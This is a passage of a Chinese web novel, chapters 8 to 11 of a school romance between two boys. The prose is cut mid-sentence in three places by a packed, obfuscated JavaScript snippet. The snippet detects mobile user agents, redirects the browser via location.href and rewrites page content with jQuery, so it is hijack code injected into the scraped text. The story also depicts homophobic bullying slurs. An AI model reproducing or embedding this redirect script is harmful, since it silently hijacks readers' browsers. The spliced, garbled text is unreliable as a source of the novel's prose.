但周君珩......他没必要撒谎。他话里的分量,他们都清楚。
周君珩说完,不再看他们。他知道,以他的身份,这番话撂下,无论他们信几分,学校里都不会再有人敢明目张胆地嚼褚亭玉的舌根。
目的达到,他不再理会这僵滞的空气,转身走到褚亭玉面前。
“走吧。”他语气转缓,“送你回教室。”
王艳张了张嘴,摄于周君珩平静却极具压迫感的气场,最终哑然。
话一出口,周君珩心里就打起鼓。以褚亭玉之前两次碰面时拒人千里的性子,会接受他的好意吗?他几乎能预见对方冷着脸让他别多管闲事的场景了。
然而出乎意料,一直垂着头,仿佛隔绝在另一个世界的褚亭玉,闻言竟抬起头,低低应了一声:“哦。”
声音很轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871353|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,带着点模糊的鼻音,异常地...顺从。
周君珩微微一怔。这反应......太乖了。完全超出了他的预期。
这突如其来的温顺,像根柔软的羽毛,在他心尖上不轻不重地搔了一下,带起一阵微妙的痒。
走廊空旷,只有两人单调的脚步声。
周君珩的教室就在这层楼,褚亭玉的在上一楼。走到分层的楼梯口,周君珩脚步一顿。褚亭玉也跟着停下。
周君珩侧过身,看着褚亭玉低垂的眉眼,鬼使神差开口:“你等我一下。”语气里带着点他自己都没察觉的,近乎商量的意味。
褚亭玉没应声,但也没其他动作。
周君珩心里莫名有些急,紧跟着补上一句,生怕人跑了:“就一小会儿。很快。”
褚亭玉抬头看了他一眼,幅度很小地点了点头。
看到对方点头,周君珩心头倏地一松,甚至涌上一点没来由的高兴。
但这高兴转瞬又被一种奇怪的别扭感取代。他干嘛这么上赶着?他甩开这点情绪,没再多想,转身快步走向自己教室。
褚亭玉脊背靠上冰凉的墙壁,早读的声浪从紧闭的教室门里闷闷地透出来,走廊里空荡荡的,只有他一个人。
他目光没什么焦点地落在对面墙壁一块剥落的墙皮上,办公室里那副精心描摹的脆弱面具,此刻早已褪得干干净净,只剩下一片沉寂的漠然。
脚步声由远及近,带着点微喘。周君珩回来了,手里捏着个小小的白色喷雾瓶。
“试试?”他把瓶子递过去,“不知道管不管用。”
褚亭玉的视线在小瓶子上停顿了几秒,眼神沉沉的,看不出在想什么。
“用不着,过两天自己就消了。”他了解自己这身皮肤的毛病,看着吓人,其实没多大事。
周君珩却像没听见。一想到那淤痕怎么来的,心里就像堵了块小石头,闷闷的,有点不是滋味。
他不再废话,直接伸手扣住褚亭玉的手腕,不由分说地将人拉进楼梯口更里面,光线稍暗的角落。
“就喷两下。”周君珩拧开盖子,声音压低了些,带着点近乎哄劝的坚持,“抬头。”
手腕被攥住的地方传来温热的触感,褚亭玉身体瞬间绷紧,本能想甩开。他抬起眼,撞进周君珩的目光里。
那双眼睛里映着楼梯间窗口透进的微光,里面是纯粹的、毫不作为的关切。
褚亭玉挣扎的动作一顿,在周君珩一瞬不瞬的注视下,终于偏过头,伸手“唰啦”一声拉开校服拉链。
那片狰狞的青紫暴露在昏暗的光线下,像一条丑陋的毒蛇缠绕在白皙如玉的颈项上。
他沉默地微扬起下巴。
周君珩看着眼前这一幕。少年仰着头,露出最脆弱的部位,姿态是全然交付的驯服。
心头那股“他怎么能这么乖”的古怪感觉又冒了出来,甚至比在办公室里时更汹涌地撞击着他的胸口。
他喉结无意识地滚动了一下,才稳住心神,小心翼翼地凑近,屏住呼吸,对着那片淤痕仔细地喷了几下。
冰凉的药雾落在皮肤上,激起细微的刺痛,随即又被奇异的清凉覆盖。
有点舒服,又痒痒的。
褚亭玉仰着脖子,能清晰地感觉到周君珩温热的呼吸,一下,又一下,羽毛般拂过他敏感的颈侧皮肤。突然,一点温热干燥的触感擦过他的下巴尖。
是周君珩的指腹,大概是想托着他的下巴调整角度。
像被滚烫的烙铁猛地烫了一下,褚亭玉浑身汗毛都竖了起来。
这突如其来的的肌肤接触,让他极度不适。
他强忍着没立刻发作,绷紧的神经只撑了一两秒,便再也按捺不住,霍然抬手,一把攥住周君珩那只悬在他下巴边的手腕,用力拉开。
“可以了。”他声音绷得像拉紧的弓,带着明显的抗拒。
周君珩的手僵在半空,看着褚亭玉飞快地把拉链拉回顶,别开脸。他心头那点因对方顺从姿态而悄然鼓噪起来的心跳,像是冷不丁被一只无形的手轻轻攥住,忽然一窒。
那点微妙的悸动瞬间沉了下去,只余下一片空茫的寂静,带着点说不清道不明的涩意,在胸腔里无声地弥漫开。
恰在这时,早读结束的铃声适时响起,打破了楼梯间这微妙的僵持。
周君珩迅速敛起所有情绪,盖好瓶盖,塞进褚亭玉手里。
“拿着,按时喷。”他语气恢复了惯常的干脆。
褚亭玉皱着眉,看着手里还带着对方体温的小瓶子。直到走廊那头传来纷沓的脚步声,才冷淡地扔下一句“先走了”,转身几步跨上楼梯,身影消失在拐角。
回到教室角落的位置坐下。偌大的教室里只剩下零星几人,都下去参加升旗仪式了。
他没动,手指在口袋里碰到那个硬邦邦的喷雾瓶。颈侧仿佛还残留着温热的呼吸拂过的痒意,下巴上那点被触碰的触感更是清晰得让人烦躁。
褚亭玉指尖在冰凉的瓶身上狠狠按了一下。
搞什么,自己手是废了还是怎么着?
活了两辈子的人,居然被个毛头小子摁着上药。
真是出息到家了。
9. 第 9 章
褚亭玉连着几堂课,不是沉入梦乡就是神游天外。奇怪的是,没有一个老师对他的行为表达出半分不悦。他也乐得自在,睡得心安理得。
直到睡意彻底消散,往讲台上一看,已是王艳的语文课。
他翻出语文课本,封面上沾了点灰,瞥了一眼没管,指尖捻开书页。
映入眼帘的却不是印刷体的课文,而是密密麻麻、层层叠叠的丑陋涂鸦与字迹,像一群疯狂滋生的霉菌,几乎覆盖了整页纸的边缘和空白处。
“变态”、“死基佬”、“穿裙子的烂货”、“滚出我们班”、“娘娘腔”、“恶心”、“看见你就想吐”……
词汇一个赛一个肮脏恶毒,其间夹杂着拙劣不堪的生殖器简笔画和吐口水的涂鸦。早先的辱骂被后来者覆盖,又被用力划掉,墨渍糊成一团团污浊。
褚亭玉像个冷漠的旁观者,指腹机械地捻动书页,一页,又一页,向后翻。
整本书,几乎每一页的空白处,都有痕迹。
翻到后面,似乎曾有人试图用橡皮擦拭过,但无济于事,反留下大片模糊的污渍和更显眼的划痕。那些恶毒的字眼依旧顽强地从污迹下露出,如同溃烂伤口深处未清的脓液,昭示着曾经倾泻的恶意。
难怪......比起旁人课桌上堆积如山的书本,原主这里如此空荡。
他又抽出其余几本书。
无一幸免。
内页同样沦陷在污言秽语的泥沼里,充斥着各种下流不堪的揣测和谩骂,有些字眼肮脏得令人胃部翻搅。五颜六色的笔迹纵横交错,分明是一场无声又丑陋至极的集体霸凌狂欢。
他掀起眼皮,看向讲台。
王艳正声情并茂,讲解着古圣先贤的锦绣文章,字字珠玑。
如此明目张胆的霸陵,就在她眼皮底下,日复一日上演。作为班主任,当真毫无所觉?
面对这种青春期的恶意倾轧,在风浪里滚过的褚亭玉看来,幼稚得可笑。但那个那个消失了的、只有十七岁的“褚亭玉”呢?
这一天,漫长得仿佛没有尽头。
讲台上的老师还在絮叨最后几道习题,空气里已经浮动起按捺不住的躁动。
他手肘支着桌面,下颌虚虚托在掌心,指尖百无聊赖地叩着书本,目光投向窗外,有些出神。
夕阳正一点一点往下沉,将天边煨成一片暖融融的橘色,温柔得不像话。
裤兜里突然闷闷地震了一下。他慢吞吞摸出那个老掉牙的按键手机。
一条新短信,发件人备注:姐姐。
【小玉,等会先别走,在教室里等我。】
姐姐?褚亭玉指尖在按键上顿了顿。
原主还有这层关系?这倒是个意外。
几乎在褚亭玉读完短信的同一时刻,艺术馆方向,阮筝拉上背包拉链,跟练舞的同伴挥手道别,朝主教学楼快步走去。练功服外套着宽大的校服,身形依旧挺拔如修竹。
海城一中的高三年级与高二隔着大半个校园,阮筝这学期来找褚亭玉的次数,屈指可数。
她步子迈得又快又稳,在高二(7)班的后门停住。视线越过攒动的人头,搜寻那个习惯蜷缩在角落的身影。
眸光落定的刹那,却是一怔。
少年靠坐在椅子上,脊背松弛地靠着椅背,头微微偏向窗外。熔金般的夕阳光穿过玻璃流淌进来,温柔地在他侧脸上勾勒出一道暖金色的轮廓,连发丝边缘都染上了一层浅金。
阮筝的心,像被什么无形的东西,轻轻撞了一下。
过去的褚亭玉,总是下意识地缩着肩膀,低着头,恨不能把自己藏进尘埃里,像只时刻警惕着危险的小动物,眼神躲闪,看人都是仓促一瞥。
而现在,他长腿舒展,像只午后晒饱了太阳餍足的猫,浑身上下透着一股近乎慵懒的自在。没有紧绷,没有防御,只有一种置身事外的沉静与松弛。
明明只是安静地坐在那片喧嚣的边缘,望着窗外,却莫名地拽住了她的视线。周围的嘈杂像被按下静音键,虚化褪去,只剩下他和他周身那层奇特的气场,吸附着所有的注意。
就在阮筝心头被这点陌生的讶异攫住时,教室里的喧闹,诡异地低落下去。紧接着,几道刻意提高的哄笑突兀响起,随即又有更复杂、更粘稠的目光,齐刷刷转向后排,也毫不客气地扫过门边站着的她。
褚亭玉似乎察觉到了这异样的氛围流转。
他转过头,带着点被打断的散漫,眼风懒洋洋地就那么扫了过来。
后门口,站着一个女生。
个子很高,简单的马尾辫束在脑后,露出光洁饱满的额头和优美的颈线。即使裹在宽大的校服里,也掩盖不住那份常年练舞塑造出的独特气质,是校园里会被仰望和讨论的存在。
她也在看他。
视线相接的瞬间,褚亭玉清晰地从对方那双明亮的眸子里捕捉到一闪而过的惊诧。
那眼神太陌生了,陌生得让阮筝心头微微一紧。没有预料中的慌乱和躲闪,他的眼神很深,很沉,仿佛有重量般,在审视一个初次见面的陌生人。
这目光让她呼吸一窒,脑子空白之下,唇瓣本能地翕动,喃喃念出:
“小玉,走了。”
是她。
褚亭玉心中了然。
那个发短信的“姐姐”。
教室里彻底没了声息,连最后一点收拾东西的窸窣也停了。
褚亭玉慢条斯理地把手机塞回裤兜,这才不紧不慢地站起身。
两人一前一后踩着阶梯往下走,谁也没先开口。
褚亭玉手揣在兜里,眼睑低垂,专注盯着脚下一级级往下延伸的灰白台阶。
阮筝落后他半步,眼角的余光时不时掠过他挺直的脊梁和放松得有些过分的肩线,心头那点挥之不去的违和感又冒了出来。
她用力
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871354|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抿了下唇,把这异样归咎于褚亭玉最近遭受的刺激,性子大变。
沉默一直持续到两人走出教学楼的阴影。
阮筝终于没憋住,声音压得很低:“贴吧里那些照片...你穿裙子的。知道了?”她一边说,一边小心观察着褚亭玉的反应。
褚亭玉脚步没停,先是下意识摇头,随即想起今早那出闹剧,下巴微点,鼻腔里哼出一个模糊的音节:“嗯”
他扯了下嘴角,那神情近乎事不关己,“应该是吧。”
阮筝微仰起头。斑驳的暖光筛过枝叶,在褚亭玉清瘦的脸上跳跃游移,干干净净,不见预想中的窘迫,也无半分惊惶。
那些在肚子里打了半天腹稿的安慰话,一下子全卡在喉咙里,没着没落的。
才多久没见?一个人真能脱胎换骨到如此地步?
但现在不是琢磨这个的时候,她强行把那些杂念摁下去,语气陡然变得严肃,追问道:“那你有头绪吗?谁干的?或者......心里有没有怀疑的人?”
“不知道。”褚亭玉这次干脆摇头。
他连原主具体经历过什么都是东拼西凑来的,上哪知道始俑作者去?
“见鬼了,谁这么吃饱了撑的干这种缺德事。”阮筝那对秀气的眉毛彻底拧成了结,声音里是真真切切压不住的火气,“现在传得沸沸扬扬的,万一学校领导也看见了,找你麻烦可怎么办?”
这才是她最担心的。这种事,学校一旦较真,处分起来根本毫无章法可循。
褚亭玉低头,瞥了一眼忧心忡忡的阮筝。这份关切,不似作伪。
她与原主的关系看起来颇为亲近。只是这五官轮廓,实在看不出半点血缘上的联系。
这一路,阮筝的欲言又止和满腹狐疑,他不是没感觉。只是,他懒得去模仿原主,更不屑于伪装。
见她仍旧愁眉不展,褚亭玉脑子里不知怎的,蓦地滑过周君珩那张矜贵清俊的脸,以及他在办公室里那番掷地有声的维护。几乎是下意识,他脱口而出:
“应该没什么事。”
“嗯?”阮筝转头看他,眼里全是诧异和不解:“为什么这么肯定?”这事在她看来就是个不定时炸弹,他哪来的底气?
褚亭玉不想在这个话题上纠缠。解释不清,也懒得费口舌。他早注意到阮筝走的方向不是冲着校门口去的,直接岔开了话题:
“去哪?”
“机房。”被他这么一问,阮筝才想起此行目的,脸上那层薄怒又浮了上来,“去翻翻那几个帖子,看都还在不在。非得把背后使阴招的混蛋揪出来不可!”
褚亭玉无可无不可地“嗯”了一声。
揪幕后的人?他本人兴致缺缺。
不过,借此机会了解一下事情的原貌,弄清楚是哪个不长眼的在背后捅刀子,倒也不算坏事。
毕竟,眼下这堆烂摊子,是实实在在扣在了他褚亭玉的头上。
10. 第 10 章
学校机房里热烘烘的,老旧电脑风扇嗡嗡地响成一片,混着敲键盘噼里啪啦的脆响。刚放学不久,机位几乎被抢占一空。
对这年头的中学生来说,能摸到电脑,哪怕只是刷刷网页,也是桩稀罕事。
褚亭玉和阮筝寻到一台空位。阮筝一坐下,就麻利地点开浏览器,熟门熟路地戳进一个界面土得掉渣的学校贴吧。
指尖在键盘上快速敲击,输入几个关键词。鼠标滚轮干涩地咯吱响,屏幕上泛着蓝光的页面,一帧帧往下滚动。
跳出来的帖子,大多是些灌水的闲扯、求资料的、社团活动的通知......偶尔蹦出来个标题带着“女装”、“劲爆”、“某班”字眼的,点进去一看,要么语焉不详像打哑谜,要么配图风马牛不相及,纯跟风瞎起哄。
真正带有清晰指向性和附有照片的原帖,像蒸发了一样,连个影都没搜到。
阮筝不死心,重新刷新,页面空白了一瞬,又慢悠悠加载出来,还是啥也没有。她甚至把搜索时间范围往前大幅调整,一页一页往回翻,结果还是没看到。
她肩膀一塌,整个人泄了气地陷进椅背里,目光失焦地粘在毫无用处的屏幕上,长长舒了口气:“都没了......也算是件好事吧,就是弄不清是谁搞的鬼,也不知道后头还会不会再闹出什么幺蛾子。”
褚亭玉扫过屏幕上那些无关痛痒的标题,没吭声。他本来也没指望一个小姑娘能在这儿扒出什么关键信息。就算真查到那个发帖的马甲又如何?这年头,网络还没实名制呢。
“没了也好,回吧。”褚亭玉靠在旁边的电脑桌边,视线漫无目的地扫过一排排发亮的屏幕。
“也是。”阮筝想想,这结果确实不算坏。
机房深处光线稍暗的角落,高个的男生正关掉显示器,站了起来。
周君珩刚查完物理竞赛半决赛的信息,一抬头,意外在过道里看到一个熟悉的身影。
褚亭玉?
念头还没落定,脚已经先一步迈了出去,直直朝那个方向走去。
褚亭玉正被机房里闷浊的空气搅得心烦意乱,眼前光线冷不丁一暗。他下意识蹙眉,等看清挡在面前的人时,那点烦闷更深了些。
这小子,怎么哪儿都能碰上?
一阵说不出的烦躁顶上来,他也没费劲去压。早上刚在办公室承了人家的情,这会就摆脸子,确实不地道,但就是烦。
“怎么在这儿?”周君珩的声音还是那副清凌凌的调子。他本就是个心细的人,何况褚亭玉眉梢眼角的不耐没打算藏,当然一丝一毫都没逃过他的眼睛。
看起来......很不待见我。
这个认知让周君珩喉头微微一梗。从小到大,他何曾这般主动凑上去还招人嫌。可偏偏,一看见褚亭玉,双脚便像有了自己的意志,管都管不住。
“嗯。”褚亭玉应得又短又硬。他实在没心思寒暄,索性用下巴朝旁边示意了一下,“找点东西。”
周君珩这才注意到电脑前坐着的女生。当阮筝那张明艳的脸转过来时,他眼底闪过一抹难以掩饰的惊讶:“阮筝学姐?”
阮筝在学校里名气不小,长相气质拔尖,成绩优秀,是各种活动里的焦点人物。
她怎么会和褚亭玉在一块?而且......两人之间那种无形的熟稔感,似乎关系匪浅?
阮筝看见周君珩,也是一愣。她飞快瞥了一眼身旁的褚亭玉,又看向这位突然冒出来的风云学弟,语气带着点不确定:“周君珩?你们......认识?”
这组合着实古怪。一边是学校里无人不晓的天之骄子,另一边是她那个向来沉默寡言,几乎没什么存在感的邻居弟弟。
这两人根本就是两个世界的人。
夹在中间的褚亭玉无声地挑了挑眉梢,心道这世界真小。不过转念一想,高中的圈子就这么大,单凭这两人的样貌气质,无论搁哪儿都注定是人群里最扎眼的存在,想不认识都难。
“嗯,认识。”周君珩对她略一点头,算是打过招呼,目光很快又胶到褚亭玉身上,带着探询:“找什么?”
心底那份惊讶迅速发酵,混合成一种难以名状的滋味,尤其在看到阮筝投向褚亭玉时毫不掩饰的关切眼神后。
他们什么关系?朋友?还是更亲近些?
这个念头毫无预兆地跳出来,像根细小的芒刺,在他心口某个极其柔软的地方轻轻扎了一下,带起一丝转瞬即逝的陌生涩意。
他几乎是本能地,把这突如其来的情绪狠狠压了下去。
“找一些......”阮筝见褚亭玉没有反对的意思,便低声接过话头,含糊道,“关于他穿......呃,裙子的那些帖子。翻了半天,好像都被清理干净了。”
周君珩听完阮筝的话,脸上并未露出丝毫意外。他从校服口袋里摸出张折得四四方方的纸条,递给褚亭玉:“帖子是我删的。”
褚亭玉和阮筝同时怔住。
顶着两道能把人烧穿的惊讶目光,周君珩眼睛都没眨一下,继续解释,仿佛在说一件再自然不过的小事:“吧主是我认识的一个学长,借了他的权限。”他朝褚亭玉手里的纸条抬了抬下颌,“账号信息,发帖时间,还有IP地址的大致范围,都记在上面了。托人帮忙查一下,就能追到具体位置。”
褚亭玉垂下眼帘,展开那张普通的横格纸。上面是几行龙飞凤舞的字迹,列着几个贴吧ID、一串串数字……
他重新抬起眼,目光第一次有了点分量,不再是那种纯粹的冷淡,里面杂糅着审视的锐利,还有一丝不易察觉的不解。
阮筝看看纸条,又看看周君珩,心里直犯嘀咕。这位传说中高悬云端、不染尘埃的学神,私下里竟如此古道热肠?
纸条脱手的瞬间,周君珩的心便不受控制地往下沉了沉。
完了。
他脑子里蹦出俩字。
自己这举动,是不是太冒失了?认识才几天?先是会所里多事,接着又在办公室强行替他出头,现在倒好,一声不吭把人家的“黑历史”帖子给删了,还自作聪明地把查到的线索当证据一样巴巴送上门。
这算什么?简直是殷勤过了头。
褚亭玉会怎么想?
觉得他莫名其妙,吃饱了撑的?
还是疑心他别有所图?
一种陌生的燥热感,生平第一次如此鲜明地爬上周君珩向来从容自持的脸颊。他不动声色地瞄着褚亭玉,试图从那张平静得过分的脸上抠出一点情绪变化的蛛丝马迹。
哪怕一丝厌烦?半分谢意?还是纯粹觉得他脑子有病?
可惜,他还是什么都没看出来。
有时候周君珩真想不通,褚亭玉一个普通高中生,到底怎么把心思埋得这么深?
周君珩搜肠刮肚,想说点什么来打破这令人浑身不自在的沉默。
“原来是你帮忙删的啊。”阮筝的声音适时地插了进来,她转向周君珩,眼神里是真切的感激,微微颔首,“谢谢,太麻烦你了。”
“嗯。”周君珩应了一声,视线又黏回褚亭玉身上。心底那点微弱的期待,像风里的残烛,还没完全熄灭。
褚亭玉根本没看他,薄唇微启,淡淡抛出两个字:“回去。”话音未落,人已经率先转身。
周君珩滞了两秒,垂眼跟上。
三人沉默地走出机房,沿着走廊走着。
阮筝紧跟两步,与褚亭玉并肩而行。她偷偷瞥了一眼他清隽的侧脸,犹豫再三,还是没忍住开口。
声音不高不低,像是有意无意地说给旁边沉默得有些异常的周君珩:
“那个......小玉他穿裙子,”她顿了一下,似乎在斟酌用词,“其实,没别的意思。就是......单纯觉得漂亮才穿。”她语气笃定,“而且,他也不喜欢男生的。”
“......”
褚亭玉的脚步猛地顿住,冷声反驳,“不是我。”
他觉得很有必要替自己澄清,也是在跟那个“觉得女装漂亮”的原主划清界限。
但在这急于撇清的语境里,听在旁人耳中,却更像是被戳中心事后,带着点气急败坏的否认。
阮筝被他这突如其来的硬钉子噎了一下,张了张嘴,最终把剩下的话默默咽了回去。
就在这微妙的停顿里,褚亭玉异常敏锐的耳力捕捉到一声几乎散在空气中的气音附和:
“是挺好看的。”
褚亭玉倏地侧过头,目光像探照灯一样,毫不客气上上下下将周君珩扫视了一遍。只见对方脸上飞快闪过一丝恨不得咬掉舌头的懊恼,紧接着,耳廓以肉眼可见的速度,迅速蔓延开一片滚烫的绯红,直烧到脖颈。
周君珩正看着他,突然对上褚亭玉的眼睛。那里面浮动着点若有似无的笑意,可细看之下,分明是赤裸裸的戏谑。滚烫的血气轰然直冲头顶,瞬间将他从耳根到脖颈的皮肤都烧透了。
他几乎是狼狈不堪地别开脸,视线慌乱地钉死在远处的地砖缝上,再不敢往褚亭玉那边瞟一眼。
这副罕见的手足无措的样子,莫名戳中了褚亭玉心底某处隐秘的点。他唇角向上勾了勾,倒没觉得被冒犯。
横竖那点芝麻烂谷子都是原主的,关他屁事。
认识时间虽短,但褚亭玉能断定
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871355|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,周君珩平日里绝对是那种端着架子、八风不动的模样。现在倒好,活像个被抓了现行的愣头青,窘迫得手脚都不知该往何处安放。
褚亭玉饶有兴致地瞧着,心里那点恶劣的趣味,突然被勾了起来,痒痒的。
他全然无视了旁边还杵着的阮筝,微微歪过头,压低了嗓音,声音里带着点蛊惑的玩味,把话又轻飘飘地抛了回去:“哦?真觉得好看?”
那声音轻得像羽毛,却又带着细小的倒钩,搔刮着周君珩敏感的耳膜。
周君珩身体绷得像块铁板,喉结急促地上下滚动。窘得恨不能原地消失,心脏在胸腔里擂鼓般狂跳,震得耳膜嗡嗡作响。
空气仿佛凝成了实质,沉沉地压了下来。几秒钟的煎熬,漫长得如同一个世纪。就在褚亭玉以为他不会再开口时,一声几不可闻的回答,还是从周君珩紧抿的唇缝里挤了出来。
“好看的。”
阮筝的目光在两人之间仿佛滋滋冒着电流的古怪气氛里打了个转,具体缘由摸不着,只觉得插不进脚。她性子内敛,不习惯也不擅长介入这种局面,干脆移开视线,假装什么也没看见,什么也没听见。
走到教学楼通往艺术馆和校门的分岔路口,暮色渐沉。
阮筝停下脚步。
“小玉。”她转向褚亭玉,“舞蹈队那边还有点事,我得先过去一趟。”她又看向一旁神情还有些恍惚的周君珩,再次认真地道谢,“今天的事,真的多谢学弟了。”
周君珩心不在焉地点了下头。
阮筝冲两人示意了一下,没再多言,转身离开。
褚亭玉看着她走远,收回目光,顺势抬脚,嘴里随意地应着:“行吧,那我也......”
“走”字尚未出口,手腕突然被一只温热的手拉住。
力道不大,带着试探性的阻止,修长的手指有着不容忽视的存在感。
褚亭玉脚步一顿,循着力道回身。
周君珩自己也懵了,完全没料到身体会抢在理智之前行动。猝然撞进褚亭玉那双带着询问的漂亮双眸里,心跳瞬间乱了章法。
他都不知道这是第几次了,在褚亭玉跟前,心脏跟丢了某个零件似的。
褚亭玉被迫停下,手腕象征性地挣一下,没挣开。他倒也不见恼意,只是微挑起一侧眉峰:“嗯?还有事?”
周君珩扣着他腕骨的手指没松,力道拿捏得刚好,既不会弄疼他,又让他一时抽不出来。
他压了压喉间翻涌的慌乱和那点不合时宜的悸动,尽量维持住往日的沉稳:“......帮了你几次,蹭顿饭,不过分吧?”这借口连他自己都觉得找得拙劣无比,透着股强词夺理的生硬。
褚亭玉眼底那点最初的疑惑褪去,随即,一个带着明显挑衅意味的弧度,缓缓在他唇角漾开。
“可是——”他故意拖长了调子,声音懒洋洋的,裹着种理所当然的无辜,甚至掺了点无赖的狡黠,“我没让你帮啊。”
那眼神亮得晃眼,明明白白地写着:从头到尾,不都是你自个巴巴地凑上来的么?
周君珩完全没料到会是这样的直球反击,脑子里预设的所有回应瞬间卡壳,噎得他一时失语。脸上那点强撑的镇定像冰面一样裂开缝隙,他愕然地瞪着褚亭玉,脸上的傻气与矜贵的长相极度不符。
趁着他瞬间的失神,褚亭玉手腕灵活地一翻一转,轻而易举就从那虚握的钳制里挣脱出来。
“走了。他头也不回,手随意向后一扬。
周君珩僵在原地,只能眼睁睁看着他的身影汇入人潮。少年双手松松地插在校服裤兜里,肩背挺直,步伐不疾不徐,有种旁若无人的恣意。
这世上......怎么会有这种人?
胸口像被硬塞进一团浸了水的棉絮,堵得他呼吸都有些不畅。从小到大,他主动释放的善意,哪怕再微不足道,也从未被如此彻底不留情面地拒之门外。
周君珩脑海里不受控地浮现出褚亭玉的眼睛。凉薄但十足漂亮,像沉在幽暗潭底的冷月,清辉流转,天然筑起一道疏冷的无形屏障。
不,不对。
这个人,似乎生来就站在世界之外,而非囿于其中。
那种理所当然的疏离,甚至近乎无礼的直白,根本不是刻意摆出来的姿态,也无关乎什么难以接近的高傲。它更像是一种深入骨髓的本能,一种对自我领域绝对掌控权的不假思索的宣示。
胸口那股被拒绝的挫败感,奇异地淡了下去。一种更复杂、更陌生的情绪悄然滋生。
他忽然迫切地想知道,那潭深不见底的静水之下,究竟藏着怎样一片不为人知的天地?
11. 第 11 章
元华一遍遍拨打周君珩的电话,响了很久没人接。再打过去,关机了。
想起两天前餐厅那场闹剧,他隐隐感觉不对劲。
起初元华并不太担心,周君珩一向自律靠谱,即便突然冒出来个前男友,情绪激动了些,以周君珩的性子,也该冷静下来处理好了。圈里人对这种事见怪不怪,元华最初的惊讶过后,更多是出于对周君珩的信任。
只是万万没想到,周君珩竟然喜欢男人。这么多年,周君珩在情事上淡得跟白水似的,元华私底下都琢磨过他是不是无性恋。
究竟发生了什么?周君珩从不无缘无故不接他电话,更遑论关机玩消失,尤其今天这个要命的日子。
下午顶奢品牌的高端晚宴兼新季发布会,是半年前就敲定,合同里白纸黑字签死了必须到场。品牌方高层、顶级时尚媒体、国际名流云集,周君珩作为全球代言人,是绝对的核心主角,他不到场,后果不堪设想。
元华一脚油门赶到周君珩常住的这处高级公寓。车子刚在地库停稳,他就看到袁刚蹲在入户电梯厅旁的消防通道门口,捧着一个塑料饭盒,正埋头吃得专心。
元华几步冲过去,顾不上询问袁刚为什么蹲在这儿吃饭,劈头便问:
“袁刚,你搞什么名堂?君珩人呢?电话不接还关机。今天什么日子你不清楚?下午两点半的造型团队,四点出发,品牌方那边都催我三回了。你杵在这儿干嘛?为什么不提醒他?为什么不叫他?”
袁刚被他吼得动作一顿,不紧不慢地把最后一口饭扒进嘴里,嚼吧嚼吧咽下,才抬起头。眼神漠然,对元华的滔天怒火视若无睹,只拿筷子朝紧闭的入户大门一指:
“我没胆。你去叫。”
元华被他这态度噎得差点背过气,怒极反笑:
“行!我去!”
他不再跟袁刚废话,这里的门禁录过他的指纹。验证通过,厚重的门锁应声弹开。
门刚推开一条缝,一股混杂着浓烈酒气和某种沉闷颓败的气息便扑面而来。
等看清门内的景象,元华整个人僵在原地,第一反应是自己开错门了。
客厅......简直像被龙卷风犁过一遍!
元华下意识后退一步,难以置信地抬头确认门牌,又回头看向门外的袁刚。
“这......这他妈是遭贼了?!周君珩人呢?”元华指着废墟般的客厅。
袁刚已经把空饭盒盖好放在一边,闻言抬了抬眼皮:“在里面。”
“里面?里面都这样了,他人在里面?!这怎么回事?”
袁刚站起身,拍了拍裤腿上的灰:“想知道?”他朝里努努嘴,“自己进去问老板。”说完,身子往后一靠,重新倚回墙边,摆明了“我什么都不知道,别问我”的架势。
元华一口气堵在胸口,看着袁刚油盐不进的样子,知道从他嘴里是撬不出半个字了。他狠狠瞪了对方一眼,深吸一口气,压下心头的惊涛骇浪和越来越浓的不安,硬着头皮再次踏入。
脚下是粘腻的地毯和硌脚的碎渣。他深一脚浅一脚绕过东倒西歪的家具和满地的狼藉。通往卧室的走廊相对整洁些,但空气中弥漫的那股颓败气息丝毫未减。
主卧的门紧闭着。
元华走到门口,抬手想敲,又顿住。里面没有任何动静。他屏息侧耳听了听,什么都没听到。
“君珩?”他试探着唤了一声。
没有回应。元华的心直往下沉。不再犹豫,他拧动门把手,轻轻推开。
卧室里光线昏暗,厚重的窗帘拉得严丝合缝。空气比客厅更加浑浊,浓得化不开的烟味呛得元华喉咙发紧,皱眉不已。借着门缝透进来的那点可怜的光,能看到床边地毯上散落着好几个空酒瓶,烟蒂更是密密麻麻撒了一地。
周君珩背对着门,蜷缩在床边角落的地毯上,整个人缩成一团,头深深埋在臂弯里。身上还是餐厅那天穿的黑色高领羊毛衫,此刻皱得像块抹布,沾满了大片大片干涸的深色酒渍。头发乱糟糟地支棱着,浑身上下透着一股死气沉沉的颓丧。
仅仅两天!那个在镜头前永远光鲜矜贵、从容掌控一切的影帝,像被抽干了所有精神气,只剩下一具空荡荡的躯壳。
